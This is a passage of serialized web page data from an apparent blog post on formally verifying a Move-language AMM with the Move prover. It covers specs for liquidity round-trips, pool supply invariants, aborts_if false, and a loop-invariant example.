no_free_money_theorem",{"type":23,"tag":230,"props":10328,"children":10329},{"style":274},[10330],{"type":29,"value":302},{"type":23,"tag":230,"props":10332,"children":10333},{"style":262},[10334],{"type":29,"value":10335},"coin1_in",{"type":23,"tag":230,"props":10337,"children":10338},{"style":268},[10339],{"type":29,"value":218},{"type":23,"tag":230,"props":10341,"children":10342},{"style":676},[10343],{"type":29,"value":8197},{"type":23,"tag":230,"props":10345,"children":10346},{"style":274},[10347],{"type":29,"value":684},{"type":23,"tag":230,"props":10349,"children":10350},{"style":262},[10351],{"type":29,"value":10352},"coin2_in",{"type":23,"tag":230,"props":10354,"children":10355},{"style":268},[10356],{"type":29,"value":218},{"type":23,"tag":230,"props":10358,"children":10359},{"style":676},[10360],{"type":29,"value":8197},{"type":23,"tag":230,"props":10362,"children":10363},{"style":274},[10364],{"type":29,"value":5467},{"type":23,"tag":230,"props":10366,"children":10367},{"style":268},[10368],{"type":29,"value":218},{"type":23,"tag":230,"props":10370,"children":10371},{"style":274},[10372],{"type":29,"value":664},{"type":23,"tag":230,"props":10374,"children":10375},{"style":676},[10376],{"type":29,"value":10377},"u64",{"type":23,"tag":230,"props":10379,"children":10380},{"style":274},[10381],{"type":29,"value":684},{"type":23,"tag":230,"props":10383,"children":10384},{"style":676},[10385],{"type":29,"value":10377},{"type":23,"tag":230,"props":10387,"children":10388},{"style":274},[10389],{"type":29,"value":703},{"type":23,"tag":230,"props":10391,"children":10392},{"style":262},[10393],{"type":29,"value":8681},{"type":23,"tag":230,"props":10395,"children":10396},{"style":676},[10397],{"type":29,"value":10398}," Pool",{"type":23,"tag":230,"props":10400,"children":10401},{"style":274},[10402],{"type":29,"value":277},{"type":23,"tag":230,"props":10404,"children":10405},{"class":232,"line":252},[10406,10411,10416,10420,10425,10429,10433,10437,10441],{"type":23,"tag":230,"props":10407,"children":10408},{"style":256},[10409],{"type":29,"value":10410},"      let",{"type":23,"tag":230,"props":10412,"children":10413},{"style":262},[10414],{"type":29,"value":10415}," share",{"type":23,"tag":230,"props":10417,"children":10418},{"style":268},[10419],{"type":29,"value":271},{"type":23,"tag":230,"props":10421,"children":10422},{"style":294},[10423],{"type":29,"value":10424}," add_liquidity",{"type":23,"tag":230,"props":10426,"children":10427},{"style":274},[10428],{"type":29,"value":302},{"type":23,"tag":230,"props":10430,"children":10431},{"style":262},[10432],{"type":29,"value":10335},{"type":23,"tag":230,"props":10434,"children":10435},{"style":274},[10436],{"type":29,"value":684},{"type":23,"tag":230,"props":10438,"children":10439},{"style":262},[10440],{"type":29,"value":10352},{"type":23,"tag":230,"props":10442,"children":10443},{"style":274},[10444],{"type":29,"value":753},{"type":23,"tag":230,"props":10446,"children":10447},{"class":232,"line":280},[10448,10453,10457,10462],{"type":23,"tag":230,"props":10449,"children":10450},{"style":294},[10451],{"type":29,"value":10452},"      remove_liquidity",{"type":23,"tag":230,"props":10454,"children":10455},{"style":274},[10456],{"type":29,"value":302},{"type":23,"tag":230,"props":10458,"children":10459},{"style":262},[10460],{"type":29,"value":10461},"share",{"type":23,"tag":230,"props":10463,"children":10464},{"style":274},[10465],{"type":29,"value":4516},{"type":23,"tag":230,"props":10467,"children":10468},{"class":232,"line":334},[10469],{"type":23,"tag":230,"props":10470,"children":10471},{"style":274},[10472],{"type":29,"value":1331},{"type":23,"tag":230,"props":10474,"children":10475},{"class":232,"line":371},[10476,10481,10485],{"type":23,"tag":230,"props":10477,"children":10478},{"style":262},[10479],{"type":29,"value":10480},"  spec",{"type":23,"tag":230,"props":10482,"children":10483},{"style":262},[10484],{"type":29,"value":10326},{"type":23,"tag":230,"props":10486,"children":10487},{"style":274},[10488],{"type":29,"value":277},{"type":23,"tag":230,"props":10490,"children":10491},{"class":232,"line":391},[10492,10497,10502,10506,10511],{"type":23,"tag":230,"props":10493,"children":10494},{"style":262},[10495],{"type":29,"value":10496},"      pragma",{"type":23,"tag":230,"props":10498,"children":10499},{"style":262},[10500],{"type":29,"value":10501}," verify",{"type":23,"tag":230,"props":10503,"children":10504},{"style":268},[10505],{"type":29,"value":863},{"type":23,"tag":230,"props":10507,"children":10508},{"style":256},[10509],{"type":29,"value":10510},"false",{"type":23,"tag":230,"props":10512,"children":10513},{"style":274},[10514],{"type":29,"value":511},{"type":23,"tag":230,"props":10516,"children":10517},{"class":232,"line":400},[10518,10523,10528,10533,10538],{"type":23,"tag":230,"props":10519,"children":10520},{"style":262},[10521],{"type":29,"value":10522},"      ensures",{"type":23,"tag":230,"props":10524,"children":10525},{"style":262},[10526],{"type":29,"value":10527}," result_1",{"type":23,"tag":230,"props":10529,"children":10530},{"style":268},[10531],{"type":29,"value":10532}," \u003C=",{"type":23,"tag":230,"props":10534,"children":10535},{"style":262},[10536],{"type":29,"value":10537}," coin1_in",{"type":23,"tag":230,"props":10539,"children":10540},{"style":274},[10541],{"type":29,"value":511},{"type":23,"tag":230,"props":10543,"children":10544},{"class":232,"line":444},[10545,10549,10554,10558,10563],{"type":23,"tag":230,"props":10546,"children":10547},{"style":262},[10548],{"type":29,"value":10522},{"type":23,"tag":230,"props":10550,"children":10551},{"style":262},[10552],{"type":29,"value":10553}," result_2",{"type":23,"tag":230,"props":10555,"children":10556},{"style":268},[10557],{"type":29,"value":10532},{"type":23,"tag":230,"props":10559,"children":10560},{"style":262},[10561],{"type":29,"value":10562}," coin2_in",{"type":23,"tag":230,"props":10564,"children":10565},{"style":274},[10566],{"type":29,"value":511},{"type":23,"tag":230,"props":10568,"children":10569},{"class":232,"line":453},[10570],{"type":23,"tag":230,"props":10571,"children":10572},{"style":274},[10573],{"type":29,"value":1331},{"type":23,"tag":32,"props":10575,"children":10576},{},[10577],{"type":29,"value":10578},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":32,"props":10580,"children":10581},{},[10582,10584,10589],{"type":29,"value":10583},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":2258,"props":10585,"children":10586},{},[10587],{"type":29,"value":10588},"lot",{"type":29,"value":10590}," easier to reason about the protocol.",{"type":23,"tag":32,"props":10592,"children":10593},{},[10594],{"type":29,"value":10595},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":220,"props":10597,"children":10599},{"className":5320,"code":10598,"language":5319,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[10600],{"type":23,"tag":71,"props":10601,"children":10602},{"__ignoreMap":7},[10603,10620,10643],{"type":23,"tag":230,"props":10604,"children":10605},{"class":232,"line":233},[10606,10611,10616],{"type":23,"tag":230,"props":10607,"children":10608},{"style":262},[10609],{"type":29,"value":10610},"spec",{"type":23,"tag":230,"props":10612,"children":10613},{"style":676},[10614],{"type":29,"value":10615}," PoolState",{"type":23,"tag":230,"props":10617,"children":10618},{"style":274},[10619],{"type":29,"value":277},{"type":23,"tag":230,"props":10621,"children":10622},{"class":232,"line":243},[10623,10628,10633,10638],{"type":23,"tag":230,"props":10624,"children":10625},{"style":262},[10626],{"type":29,"value":10627},"    invariant",{"type":23,"tag":230,"props":10629,"children":10630},{"style":262},[10631],{"type":29,"value":10632}," supply",{"type":23,"tag":230,"props":10634,"children":10635},{"style":268},[10636],{"type":29,"value":10637}," >=",{"type":23,"tag":230,"props":10639,"children":10640},{"style":274},[10641],{"type":29,"value":10642}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":230,"props":10644,"children":10645},{"class":232,"line":252},[10646],{"type":23,"tag":230,"props":10647,"children":10648},{"style":274},[10649],{"type":29,"value":975},{"type":23,"tag":32,"props":10651,"children":10652},{},[10653,10655,10661,10663,10669],{"type":29,"value":10654},"Another useful pattern for the Move prover is ",{"type":23,"tag":71,"props":10656,"children":10658},{"className":10657},[],[10659],{"type":29,"value":10660},"aborts_if",{"type":29,"value":10662},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":71,"props":10664,"children":10666},{"className":10665},[],[10667],{"type":29,"value":10668},"aborts_if false",{"type":29,"value":312},{"type":23,"tag":32,"props":10671,"children":10672},{},[10673],{"type":29,"value":10674},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":220,"props":10676,"children":10678},{"className":5320,"code":10677,"language":5319,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[10679],{"type":23,"tag":71,"props":10680,"children":10681},{"__ignoreMap":7},[10682,10746,10788,10811,10856,10869,10881,10920,10943,11031,11039,11064,11072,11093,11113,11210,11218,11247,11255,11267,11291,11326,11333,11341,11348,11363,11379,11396,11440,11545],{"type":23,"tag":230,"props":10683,"children":10684},{"class":232,"line":233},[10685,10689,10694,10698,10703,10707,10712,10716,10720,10725,10729,10733,10737,10742],{"type":23,"tag":230,"props":10686,"children":10687},{"style":262},[10688],{"type":29,"value":8906},{"type":23,"tag":230,"props":10690,"children":10691},{"style":294},[10692],{"type":29,"value":10693}," multiply_vec_by_n_coins",{"type":23,"tag":230,"props":10695,"children":10696},{"style":274},[10697],{"type":29,"value":302},{"type":23,"tag":230,"props":10699,"children":10700},{"style":262},[10701],{"type":29,"value":10702},"input",{"type":23,"tag":230,"props":10704,"children":10705},{"style":268},[10706],{"type":29,"value":218},{"type":23,"tag":230,"props":10708,"children":10709},{"style":262},[10710],{"type":29,"value":10711}," vector",{"type":23,"tag":230,"props":10713,"children":10714},{"style":274},[10715],{"type":29,"value":8143},{"type":23,"tag":230,"props":10717,"children":10718},{"style":676},[10719],{"type":29,"value":10377},{"type":23,"tag":230,"props":10721,"children":10722},{"style":274},[10723],{"type":29,"value":10724},">)",{"type":23,"tag":230,"props":10726,"children":10727},{"style":268},[10728],{"type":29,"value":218},{"type":23,"tag":230,"props":10730,"children":10731},{"style":262},[10732],{"type":29,"value":10711},{"type":23,"tag":230,"props":10734,"children":10735},{"style":274},[10736],{"type":29,"value":8143},{"type":23,"tag":230,"props":10738,"children":10739},{"style":676},[10740],{"type":29,"value":10741},"u128",{"type":23,"tag":230,"props":10743,"children":10744},{"style":274},[10745],{"type":29,"value":9617},{"type":23,"tag":230,"props":10747,"children":10748},{"class":232,"line":243},[10749,10753,10758,10762,10766,10770,10775,10779,10783],{"type":23,"tag":230,"props":10750,"children":10751},{"style":256},[10752],{"type":29,"value":10410},{"type":23,"tag":230,"props":10754,"children":10755},{"style":262},[10756],{"type":29,"value":10757}," amounts_times_coins",{"type":23,"tag":230,"props":10759,"children":10760},{"style":268},[10761],{"type":29,"value":271},{"type":23,"tag":230,"props":10763,"children":10764},{"style":274},[10765],{"type":29,"value":10711},{"type":23,"tag":230,"props":10767,"children":10768},{"style":268},[10769],{"type":29,"value":5818},{"type":23,"tag":230,"props":10771,"children":10772},{"style":262},[10773],{"type":29,"value":10774},"empty",{"type":23,"tag":230,"props":10776,"children":10777},{"style":274},[10778],{"type":29,"value":8143},{"type":23,"tag":230,"props":10780,"children":10781},{"style":676},[10782],{"type":29,"value":10741},{"type":23,"tag":230,"props":10784,"children":10785},{"style":274},[10786],{"type":29,"value":10787},">();\n",{"type":23,"tag":230,"props":10789,"children":10790},{"class":232,"line":252},[10791,10795,10799,10803,10807],{"type":23,"tag":230,"props":10792,"children":10793},{"style":256},[10794],{"type":29,"value":10410},{"type":23,"tag":230,"props":10796,"children":10797},{"style":262},[10798],{"type":29,"value":5736},{"type":23,"tag":230,"props":10800,"children":10801},{"style":268},[10802],{"type":29,"value":271},{"type":23,"tag":230,"props":10804,"children":10805},{"style":5149},[10806],{"type":29,"value":5386},{"type":23,"tag":230,"props":10808,"children":10809},{"style":274},[10810],{"type":29,"value":511},{"type":23,"tag":230,"props":10812,"children":10813},{"class":232,"line":280},[10814,10818,10823,10827,10831,10835,10840,10844,10848,10852],{"type":23,"tag":230,"props":10815,"children":10816},{"style":256},[10817],{"type":29,"value":10410},{"type":23,"tag":230,"props":10819,"children":10820},{"style":262},[10821],{"type":29,"value":10822}," n_coins",{"type":23,"tag":230,"props":10824,"children":10825},{"style":268},[10826],{"type":29,"value":271},{"type":23,"tag":230,"props":10828,"children":10829},{"style":274},[10830],{"type":29,"value":10711},{"type":23,"tag":230,"props":10832,"children":10833},{"style":268},[10834],{"type":29,"value":5818},{"type":23,"tag":230,"props":10836,"children":10837},{"style":294},[10838],{"type":29,"value":10839},"length",{"type":23,"tag":230,"props":10841,"children":10842},{"style":274},[10843],{"type":29,"value":302},{"type":23,"tag":230,"props":10845,"children":10846},{"style":268},[10847],{"type":29,"value":5448},{"type":23,"tag":230,"props":10849,"children":10850},{"style":262},[10851],{"type":29,"value":10702},{"type":23,"tag":230,"props":10853,"children":10854},{"style":274},[10855],{"type":29,"value":753},{"type":23,"tag":230,"props":10857,"children":10858},{"class":232,"line":334},[10859,10864],{"type":23,"tag":230,"props":10860,"children":10861},{"style":866},[10862],{"type":29,"value":10863},"      while",{"type":23,"tag":230,"props":10865,"children":10866},{"style":274},[10867],{"type":29,"value":10868}," ({\n",{"type":23,"tag":230,"props":10870,"children":10871},{"class":232,"line":371},[10872,10877],{"type":23,"tag":230,"props":10873,"children":10874},{"style":262},[10875],{"type":29,"value":10876},"          spec",{"type":23,"tag":230,"props":10878,"children":10879},{"style":274},[10880],{"type":29,"value":277},{"type":23,"tag":230,"props":10882,"children":10883},{"class":232,"line":391},[10884,10889,10894,10898,10903,10907,10912,10916],{"type":23,"tag":230,"props":10885,"children":10886},{"style":262},[10887],{"type":29,"value":10888},"              invariant",{"type":23,"tag":230,"props":10890,"children":10891},{"style":294},[10892],{"type":29,"value":10893}," len",{"type":23,"tag":230,"props":10895,"children":10896},{"style":274},[10897],{"type":29,"value":302},{"type":23,"tag":230,"props":10899,"children":10900},{"style":262},[10901],{"type":29,"value":10902},"amounts_times_coins",{"type":23,"tag":230,"props":10904,"children":10905},{"style":274},[10906],{"type":29,"value":703},{"type":23,"tag":230,"props":10908,"children":10909},{"style":268},[10910],{"type":29,"value":10911},"==",{"type":23,"tag":230,"props":10913,"children":10914},{"style":262},[10915],{"type":29,"value":5736},{"type":23,"tag":230,"props":10917,"children":10918},{"style":274},[10919],{"type":29,"value":511},{"type":23,"tag":230,"props":10921,"children":10922},{"class":232,"line":400},[10923,10927,10931,10935,10939],{"type":23,"tag":230,"props":10924,"children":10925},{"style":262},[10926],{"type":29,"value":10888},{"type":23,"tag":230,"props":10928,"children":10929},{"style":262},[10930],{"type":29,"value":5736},{"type":23,"tag":230,"props":10932,"children":10933},{"style":268},[10934],{"type":29,"value":10532},{"type":23,"tag":230,"props":10936,"children":10937},{"style":262},[10938],{"type":29,"value":10822},{"type":23,"tag":230,"props":10940,"children":10941},{"style":274},[10942],{"type":29,"value":511},{"type":23,"tag":230,"props":10944,"children":10945},{"class":232,"line":444},[10946,10950,10955,10960,10964,10968,10972,10976,10980,10984,10988,10993,10998,11002,11007,11011,11015,11019,11023,11027],{"type":23,"tag":230,"props":10947,"children":10948},{"style":262},[10949],{"type":29,"value":10888},{"type":23,"tag":230,"props":10951,"children":10952},{"style":262},[10953],{"type":29,"value":10954}," forall",{"type":23,"tag":230,"props":10956,"children":10957},{"style":262},[10958],{"type":29,"value":10959}," j",{"type":23,"tag":230,"props":10961,"children":10962},{"style":256},[10963],{"type":29,"value":5381},{"type":23,"tag":230,"props":10965,"children":10966},{"style":5149},[10967],{"type":29,"value":5386},{"type":23,"tag":230,"props":10969,"children":10970},{"style":268},[10971],{"type":29,"value":5391},{"type":23,"tag":230,"props":10973,"children":10974},{"style":262},[10975],{"type":29,"value":6074},{"type":23,"tag":230,"props":10977,"children":10978},{"style":268},[10979],{"type":29,"value":218},{"type":23,"tag":230,"props":10981,"children":10982},{"style":262},[10983],{"type":29,"value":10757},{"type":23,"tag":230,"props":10985,"children":10986},{"style":274},[10987],{"type":29,"value":6069},{"type":23,"tag":230,"props":10989,"children":10990},{"style":262},[10991],{"type":29,"value":10992},"j",{"type":23,"tag":230,"props":10994,"children":10995},{"style":274},[10996],{"type":29,"value":10997},"] ",{"type":23,"tag":230,"props":10999,"children":11000},{"style":268},[11001],{"type":29,"value":10911},{"type":23,"tag":230,"props":11003,"children":11004},{"style":262},[11005],{"type":29,"value":11006}," input",{"type":23,"tag":230,"props":11008,"children":11009},{"style":274},[11010],{"type":29,"value":6069},{"type":23,"tag":230,"props":11012,"children":11013},{"style":262},[11014],{"type":29,"value":10992},{"type":23,"tag":230,"props":11016,"children":11017},{"style":274},[11018],{"type":29,"value":10997},{"type":23,"tag":230,"props":11020,"children":11021},{"style":268},[11022],{"type":29,"value":6909},{"type":23,"tag":230,"props":11024,"children":11025},{"style":262},[11026],{"type":29,"value":10822},{"type":23,"tag":230,"props":11028,"children":11029},{"style":274},[11030],{"type":29,"value":511},{"type":23,"tag":230,"props":11032,"children":11033},{"class":232,"line":453},[11034],{"type":23,"tag":230,"props":11035,"children":11036},{"style":274},[11037],{"type":29,"value":11038},"          };\n",{"type":23,"tag":230,"props":11040,"children":11041},{"class":232,"line":462},[11042,11047,11051,11056,11060],{"type":23,"tag":230,"props":11043,"children":11044},{"style":274},[11045],{"type":29,"value":11046},"          (",{"type":23,"tag":230,"props":11048,"children":11049},{"style":262},[11050],{"type":29,"value":6074},{"type":23,"tag":230,"props":11052,"children":11053},{"style":268},[11054],{"type":29,"value":11055}," \u003C",{"type":23,"tag":230,"props":11057,"children":11058},{"style":262},[11059],{"type":29,"value":10822},{"type":23,"tag":230,"props":11061,"children":11062},{"style":274},[11063],{"type":29,"value":4516},{"type":23,"tag":230,"props":11065,"children":11066},{"class":232,"line":471},[11067],{"type":23,"tag":230,"props":11068,"children":11069},{"style":274},[11070],{"type":29,"value":11071},"      }) {\n",{"type":23,"tag":230,"props":11073,"children":11074},{"class":232,"line":500},[11075,11080,11084,11089],{"type":23,"tag":230,"props":11076,"children":11077},{"style":274},[11078],{"type":29,"value":11079},"          vector",{"type":23,"tag":230,"props":11081,"children":11082},{"style":268},[11083],{"type":29,"value":5818},{"type":23,"tag":230,"props":11085,"children":11086},{"style":294},[11087],{"type":29,"value":11088},"push_back",{"type":23,"tag":230,"props":11090,"children":11091},{"style":274},[11092],{"type":29,"value":619},{"type":23,"tag":230,"props":11094,"children":11095},{"class":232,"line":514},[11096,11101,11105,11109],{"type":23,"tag":230,"props":11097,"children":11098},{"style":268},[11099],{"type":29,"value":11100},"              &",{"type":23,"tag":230,"props":11102,"children":11103},{"style":256},[11104],{"type":29,"value":6059},{"type":23,"tag":230,"props":11106,"children":11107},{"style":262},[11108],{"type":29,"value":10757},{"type":23,"tag":230,"props":11110,"children":11111},{"style":274},[11112],{"type":29,"value":388},{"type":23,"tag":230,"props":11114,"children":11115},{"class":232,"line":897},[11116,11121,11125,11130,11134,11139,11143,11147,11151,11155,11159,11163,11167,11172,11176,11181,11185,11189,11193,11198,11202,11206],{"type":23,"tag":230,"props":11117,"children":11118},{"style":274},[11119],{"type":29,"value":11120},"              (",{"type":23,"tag":230,"props":11122,"children":11123},{"style":268},[11124],{"type":29,"value":6909},{"type":23,"tag":230,"props":11126,"children":11127},{"style":274},[11128],{"type":29,"value":11129},"vector",{"type":23,"tag":230,"props":11131,"children":11132},{"style":268},[11133],{"type":29,"value":5818},{"type":23,"tag":230,"props":11135,"children":11136},{"style":294},[11137],{"type":29,"value":11138},"borrow",{"type":23,"tag":230,"props":11140,"children":11141},{"style":274},[11142],{"type":29,"value":302},{"type":23,"tag":230,"props":11144,"children":11145},{"style":268},[11146],{"type":29,"value":5448},{"type":23,"tag":230,"props":11148,"children":11149},{"style":262},[11150],{"type":29,"value":10702},{"type":23,"tag":230,"props":11152,"children":11153},{"style":274},[11154],{"type":29,"value":3950},{"type":23,"tag":230,"props":11156,"children":11157},{"style":262},[11158],{"type":29,"value":6074},{"type":23,"tag":230,"props":11160,"children":11161},{"style":256},[11162],{"type":29,"value":3589},{"type":23,"tag":230,"props":11164,"children":11165},{"style":676},[11166],{"type":29,"value":8197},{"type":23,"tag":230,"props":11168,"children":11169},{"style":274},[11170],{"type":29,"value":11171},")) ",{"type":23,"tag":230,"props":11173,"children":11174},{"style":256},[11175],{"type":29,"value":4343},{"type":23,"tag":230,"props":11177,"children":11178},{"style":676},[11179],{"type":29,"value":11180}," u128",{"type":23,"tag":230,"props":11182,"children":11183},{"style":274},[11184],{"type":29,"value":703},{"type":23,"tag":230,"props":11186,"children":11187},{"style":268},[11188],{"type":29,"value":6909},{"type":23,"tag":230,"props":11190,"children":11191},{"style":274},[11192],{"type":29,"value":664},{"type":23,"tag":230,"props":11194,"children":11195},{"style":262},[11196],{"type":29,"value":11197},"n_coins",{"type":23,"tag":230,"props":11199,"children":11200},{"style":256},[11201],{"type":29,"value":3589},{"type":23,"tag":230,"props":11203,"children":11204},{"style":676},[11205],{"type":29,"value":11180},{"type":23,"tag":230,"props":11207,"children":11208},{"style":274},[11209],{"type":29,"value":4516},{"type":23,"tag":230,"props":11211,"children":11212},{"class":232,"line":960},[11213],{"type":23,"tag":230,"props":11214,"children":11215},{"style":274},[11216],{"type":29,"value":11217},"          );\n",{"type":23,"tag":230,"props":11219,"children":11220},{"class":232,"line":969},[11221,11226,11230,11234,11239,11243],{"type":23,"tag":230,"props":11222,"children":11223},{"style":262},[11224],{"type":29,"value":11225},"          i",{"type":23,"tag":230,"props":11227,"children":11228},{"style":268},[11229],{"type":29,"value":271},{"type":23,"tag":230,"props":11231,"children":11232},{"style":262},[11233],{"type":29,"value":5736},{"type":23,"tag":230,"props":11235,"children":11236},{"style":268},[11237],{"type":29,"value":11238}," +",{"type":23,"tag":230,"props":11240,"children":11241},{"style":5149},[11242],{"type":29,"value":6861},{"type":23,"tag":230,"props":11244,"children":11245},{"style":274},[11246],{"type":29,"value":511},{"type":23,"tag":230,"props":11248,"children":11249},{"class":232,"line":4526},[11250],{"type":23,"tag":230,"props":11251,"children":11252},{"style":274},[11253],{"type":29,"value":11254},"      };\n",{"type":23,"tag":230,"props":11256,"children":11257},{"class":232,"line":4534},[11258,11263],{"type":23,"tag":230,"props":11259,"children":11260},{"style":262},[11261],{"type":29,"value":11262},"      spec",{"type":23,"tag":230,"props":11264,"children":11265},{"style":274},[11266],{"type":29,"value":277},{"type":23,"tag":230,"props":11268,"children":11269},{"class":232,"line":4542},[11270,11275,11279,11283,11287],{"type":23,"tag":230,"props":11271,"children":11272},{"style":262},[11273],{"type":29,"value":11274},"          assert",{"type":23,"tag":230,"props":11276,"children":11277},{"style":262},[11278],{"type":29,"value":5736},{"type":23,"tag":230,"props":11280,"children":11281},{"style":268},[11282],{"type":29,"value":5621},{"type":23,"tag":230,"props":11284,"children":11285},{"style":262},[11286],{"type":29,"value":10822},{"type":23,"tag":230,"props":11288,"children":11289},{"style":274},[11290],{"type":29,"value":511},{"type":23,"tag":230,"props":11292,"children":11293},{"class":232,"line":4559},[11294,11298,11302,11306,11310,11314,11318,11322],{"type":23,"tag":230,"props":11295,"children":11296},{"style":262},[11297],{"type":29,"value":11274},{"type":23,"tag":230,"props":11299,"children":11300},{"style":294},[11301],{"type":29,"value":10893},{"type":23,"tag":230,"props":11303,"children":11304},{"style":274},[11305],{"type":29,"value":302},{"type":23,"tag":230,"props":11307,"children":11308},{"style":262},[11309],{"type":29,"value":10702},{"type":23,"tag":230,"props":11311,"children":11312},{"style":274},[11313],{"type":29,"value":703},{"type":23,"tag":230,"props":11315,"children":11316},{"style":268},[11317],{"type":29,"value":10911},{"type":23,"tag":230,"props":11319,"children":11320},{"style":262},[11321],{"type":29,"value":10822},{"type":23,"tag":230,"props":11323,"children":11324},{"style":274},[11325],{"type":29,"value":511},{"type":23,"tag":230,"props":11327,"children":11328},{"class":232,"line":4587},[11329],{"type":23,"tag":230,"props":11330,"children":11331},{"style":274},[11332],{"type":29,"value":11254},{"type":23,"tag":230,"props":11334,"children":11335},{"class":232,"line":4595},[11336],{"type":23,"tag":230,"props":11337,"children":11338},{"style":262},[11339],{"type":29,"value":11340},"      amounts_times_coins\n",{"type":23,"tag":230,"props":11342,"children":11343},{"class":232,"line":4619},[11344],{"type":23,"tag":230,"props":11345,"children":11346},{"style":274},[11347],{"type":29,"value":1331},{"type":23,"tag":230,"props":11349,"children":11350},{"class":232,"line":4627},[11351,11355,11359],{"type":23,"tag":230,"props":11352,"children":11353},{"style":262},[11354],{"type":29,"value":10480},{"type":23,"tag":230,"props":11356,"children":11357},{"style":262},[11358],{"type":29,"value":10693},{"type":23,"tag":230,"props":11360,"children":11361},{"style":274},[11362],{"type":29,"value":277},{"type":23,"tag":230,"props":11364,"children":11365},{"class":232,"line":4659},[11366,11370,11375],{"type":23,"tag":230,"props":11367,"children":11368},{"style":262},[11369],{"type":29,"value":10496},{"type":23,"tag":230,"props":11371,"children":11372},{"style":262},[11373],{"type":29,"value":11374}," opaque",{"type":23,"tag":230,"props":11376,"children":11377},{"style":274},[11378],{"type":29,"value":511},{"type":23,"tag":230,"props":11380,"children":11381},{"class":232,"line":4671},[11382,11387,11392],{"type":23,"tag":230,"props":11383,"children":11384},{"style":262},[11385],{"type":29,"value":11386},"      aborts_if",{"type":23,"tag":230,"props":11388,"children":11389},{"style":256},[11390],{"type":29,"value":11391}," false",{"type":23,"tag":230,"props":11393,"children":11394},{"style":274},[11395],{"type":29,"value":511},{"type":23,"tag":230,"props":11397,"children":11398},{"class":232,"line":4688},[11399,11403,11407,11411,11416,11420,11424,11428,11432,11436],{"type":23,"tag":230,"props":11400,"children":11401},{"style":262},[11402],{"type":29,"value":10522},{"type":23,"tag":230,"props":11404,"children":11405},{"style":294},[11406],{"type":29,"value":10893},{"type":23,"tag":230,"props":11408,"children":11409},{"style":274},[11410],{"type":29,"value":302},{"type":23,"tag":230,"props":11412,"children":11413},{"style":262},[11414],{"type":29,"value":11415},"result",{"type":23,"tag":230,"props":11417,"children":11418},{"style":274},[11419],{"type":29,"value":703},{"type":23,"tag":230,"props":11421,"children":11422},{"style":268},[11423],{"type":29,"value":10911},{"type":23,"tag":230,"props":11425,"children":11426},{"style":294},[11427],{"type":29,"value":10893},{"type":23,"tag":230,"props":11429,"children":11430},{"style":274},[11431],{"type":29,"value":302},{"type":23,"tag":230,"props":11433,"children":11434},{"style":262},[11435],{"type":29,"value":10702},{"type":23,"tag":230,"props":11437,"children":11438},{"style":274},[11439],{"type":29,"value":753},{"type":23,"tag":230,"props":11441,"children":11442},{"class":232,"line":4701},[11443,11447,11451,11455,11459,11463,11467,11472,11476,11480,11484,11488,11493,11497,11501,11505,11509,11513,11517,11521,11525,11529,11533,11537,11541],{"type":23,"tag":230,"props":11444,"children":11445},{"style":262},[11446],{"type":29,"value":10522},{"type":23,"tag":230,"props":11448,"children":11449},{"style":262},[11450],{"type":29,"value":10954},{"type":23,"tag":230,"props":11452,"children":11453},{"style":262},[11454],{"type":29,"value":10959},{"type":23,"tag":230,"props":11456,"children":11457},{"style":256},[11458],{"type":29,"value":5381},{"type":23,"tag":230,"props":11460,"children":11461},{"style":5149},[11462],{"type":29,"value":5386},{"type":23,"tag":230,"props":11464,"children":11465},{"style":268},[11466],{"type":29,"value":5391},{"type":23,"tag":230,"props":11468,"children":11469},{"style":294},[11470],{"type":29,"value":11471},"len",{"type":23,"tag":230,"props":11473,"children":11474},{"style":274},[11475],{"type":29,"value":302},{"type":23,"tag":230,"props":11477,"children":11478},{"style":262},[11479],{"type":29,"value":10702},{"type":23,"tag":230,"props":11481,"children":11482},{"style":274},[11483],{"type":29,"value":5467},{"type":23,"tag":230,"props":11485,"children":11486},{"style":268},[11487],{"type":29,"value":218},{"type":23,"tag":230,"props":11489,"children":11490},{"style":262},[11491],{"type":29,"value":11492}," result",{"type":23,"tag":230,"props":11494,"children":11495},{"style":274},[11496],{"type":29,"value":6069},{"type":23,"tag":230,"props":11498,"children":11499},{"style":262},[11500],{"type":29,"value":10992},{"type":23,"tag":230,"props":11502,"children":11503},{"style":274},[11504],{"type":29,"value":10997},{"type":23,"tag":230,"props":11506,"children":11507},{"style":268},[11508],{"type":29,"value":10911},{"type":23,"tag":230,"props":11510,"children":11511},{"style":262},[11512],{"type":29,"value":11006},{"type":23,"tag":230,"props":11514,"children":11515},{"style":274},[11516],{"type":29,"value":6069},{"type":23,"tag":230,"props":11518,"children":11519},{"style":262},[11520],{"type":29,"value":10992},{"type":23,"tag":230,"props":11522,"children":11523},{"style":274},[11524],{"type":29,"value":10997},{"type":23,"tag":230,"props":11526,"children":11527},{"style":268},[11528],{"type":29,"value":6909},{"type":23,"tag":230,"props":11530,"children":11531},{"style":294},[11532],{"type":29,"value":10893},{"type":23,"tag":230,"props":11534,"children":11535},{"style":274},[11536],{"type":29,"value":302},{"type":23,"tag":230,"props":11538,"children":11539},{"style":262},[11540],{"type":29,"value":10702},{"type":23,"tag":230,"props":11542,"children":11543},{"style":274},[11544],{"type":29,"value":753},{"type":23,"tag":230,"props":11546,"children":11547},{"class":232,"line":4724},[11548],{"type":23,"tag